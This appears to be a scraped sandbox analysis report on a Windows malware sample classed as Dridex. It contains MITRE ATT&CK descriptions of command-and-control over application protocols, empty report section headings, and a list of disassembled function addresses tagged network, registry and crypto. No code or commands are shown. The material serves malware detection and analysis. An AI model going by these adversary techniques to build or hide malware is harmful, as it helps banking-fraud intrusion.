Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report SecuriteInfo.com.Variant.Razy.980776.19803.14094

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Dridex

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Exports

Network Behavior

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTPS Proxied Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

Function 6E6551A7, Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 235
sleepCOMMON

Function 6E663930, Relevance: 6.8, APIs: 4, Instructions: 834
COMMON

Function 6E666C50, Relevance: 2.1, APIs: 1, Instructions: 584
libraryloaderCOMMON

Function 6E6839F9, Relevance: 1.7, APIs: 1, Instructions: 157
filenetworkCOMMON

Function 6E6622A0, Relevance: 1.6, APIs: 1, Instructions: 69
nativeCOMMON

Function 6E667A60, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Function 6E6647B0, Relevance: 3.6, APIs: 2, Instructions: 618
COMMON

Function 6E65543B, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 91
libraryCOMMON

Function 6E6554F5, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 46
libraryCOMMON

Function 6E661030, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36
memoryCOMMON

Function 6E683370, Relevance: 3.4, APIs: 2, Instructions: 366
networkCOMMON

Function 6E67CAE0, Relevance: 3.2, APIs: 2, Instructions: 207
registryCOMMON

Function 6E67C790, Relevance: 3.1, APIs: 2, Instructions: 85
registryCOMMON

Function 6E67C2D0, Relevance: 1.7, APIs: 1, Instructions: 196
COMMON

Function 6E66430F, Relevance: 1.7, APIs: 1, Instructions: 162
COMMON

Function 6E683820, Relevance: 1.7, APIs: 1, Instructions: 151
networkCOMMON

Function 6E67C580, Relevance: 1.6, APIs: 1, Instructions: 98
registryCOMMON

Function 6E67C405, Relevance: 1.6, APIs: 1, Instructions: 83
registryCOMMON

Function 6E677660, Relevance: 4.5, Strings: 3, Instructions: 793
COMMONCrypto

Function 6E651570, Relevance: 3.6, Strings: 2, Instructions: 1143
COMMONCrypto

Function 6E65ACD0, Relevance: 2.9, Strings: 1, Instructions: 1641
COMMONCrypto

Function 6E673EC0, Relevance: 2.4, Strings: 1, Instructions: 1131
COMMONCrypto

Function 6E6762F0, Relevance: 2.2, Strings: 1, Instructions: 961
COMMONCrypto

Function 6E66C590, Relevance: 2.1, Strings: 1, Instructions: 878
COMMONCrypto

Function 6E672E60, Relevance: 2.0, Strings: 1, Instructions: 797
COMMONCrypto

Function 6E66D030, Relevance: 2.0, Strings: 1, Instructions: 789
COMMONCrypto

Function 6E6789F0, Relevance: 2.0, Strings: 1, Instructions: 748
COMMONCrypto

Function 6E66AE80, Relevance: 2.0, Strings: 1, Instructions: 719
COMMONCrypto

Function 6E66A660, Relevance: 1.9, Strings: 1, Instructions: 690
COMMONCrypto

Function 6E671EB0, Relevance: 1.9, Strings: 1, Instructions: 682
COMMONCrypto

Function 6E6726B0, Relevance: 1.9, Strings: 1, Instructions: 653
COMMONCrypto

Function 6E671730, Relevance: 1.9, Strings: 1, Instructions: 649
COMMONCrypto

Function 6E659E70, Relevance: 1.8, Strings: 1, Instructions: 591
COMMONCrypto

Function 6E66B71F, Relevance: 1.8, Strings: 1, Instructions: 557
COMMONCrypto

Function 6E674CA0, Relevance: 1.6, Strings: 1, Instructions: 358
COMMONCrypto